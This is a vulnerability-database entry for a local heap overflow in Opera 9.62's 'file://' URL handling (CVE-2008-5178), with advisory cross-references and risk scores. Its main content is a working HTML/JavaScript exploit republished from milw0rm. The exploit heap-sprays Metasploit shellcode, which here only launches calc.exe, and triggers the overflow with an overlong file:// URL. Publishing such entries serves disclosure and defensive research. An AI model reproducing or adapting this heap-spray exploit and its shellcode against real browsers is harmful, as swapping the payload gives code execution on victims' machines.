Opera 9.62 - 'file://' Local Heap Overflow

🗓️ 17 Nov 2008 00:00:00Reported by Guido LandiType

Opera 9.62 Local Heap Overflow vulnerabilit

Reporter	Title	Published	Views	Family All 33
FreeBSD	opera -- multiple vulnerabilities	18 Nov 200800:00	–	freebsd
Tenable Nessus	Opera < 9.63 Multiple Vulnerabilities	16 Dec 200800:00	–	nessus
Tenable Nessus	FreeBSD : opera -- multiple vulnerabilities (225bc349-ce10-11dd-a721-0030843d3802)	21 Dec 200800:00	–	nessus
Tenable Nessus	GLSA-200903-30 : Opera: Multiple vulnerabilities	17 Mar 200900:00	–	nessus
Tenable Nessus	Opera < 9.63 Multiple Vulnerabilities	16 Dec 200800:00	–	nessus
Circl	CVE-2008-5178	17 Nov 200800:00	–	circl
Circl	CVE-2008-5680	17 Nov 200800:00	–	circl
Check Point Advisories	Opera Browser file URI Handling Buffer Overflow (CVE-2008-5178)	28 Dec 200900:00	–	checkpoint_advisories
CVE	CVE-2008-5178	20 Nov 200815:00	–	cve
CVE	CVE-2008-5680	19 Dec 200816:09	–	cve

<html>
<head><title>uh?</title></head>
<body>
<script>


	// k`sOSe 11/15/2008
	// tested on Windows XP SP3, opera 9.62 international version
	// vulnerability found by send9

	// there are many ways to achieve code execution, tons of function pointers to overwrite.
	// maybe there's one more reliable...

	var i=0;

	// push es, pop es
	var block = unescape("%u0607%u0607");

	// metasploit WinExec c:\WINDOWS\system32\calc.exe
	var shellcode = unescape("%ue8fc%u0044%u0000%u458b%u8b3c%u057c%u0178%u8bef%u184f%u5f8b%u0120%u49eb%u348b%u018b%u31ee%u99c0%u84ac%u74c0%uc107%u0dca%uc201%uf4eb%u543b%u0424%ue575%u5f8b%u0124%u66eb%u0c8b%u8b4b%u1c5f%ueb01%u1c8b%u018b%u89eb%u245c%uc304%u315f%u60f6%u6456%u468b%u8b30%u0c40%u708b%uad1c%u688b%u8908%u83f8%u6ac0%u6850%u8af0%u5f04%u9868%u8afe%u570e%ue7ff%u3a43%u575c%u4e49%u4f44%u5357%u735c%u7379%u6574%u336d%u5c32%u6163%u636c%u652e%u6578%u4100");

	while (block.length < 81920) block += block;
	var memory = new Array();
	for (;i<1000;i++) memory[i] += (block + shellcode);


	var evil = "file://";

        for(var i = 0; i<16438; i++)
                evil += "X";

	evil += "R.";

	window.location.replace(evil);

</script>

</body>
</html>

# milw0rm.com [2008-11-17]

17 Nov 2008 00:00Current

5.8Medium risk

Vulners AI Score5.8

CVSS 29.3

EPSS0.31509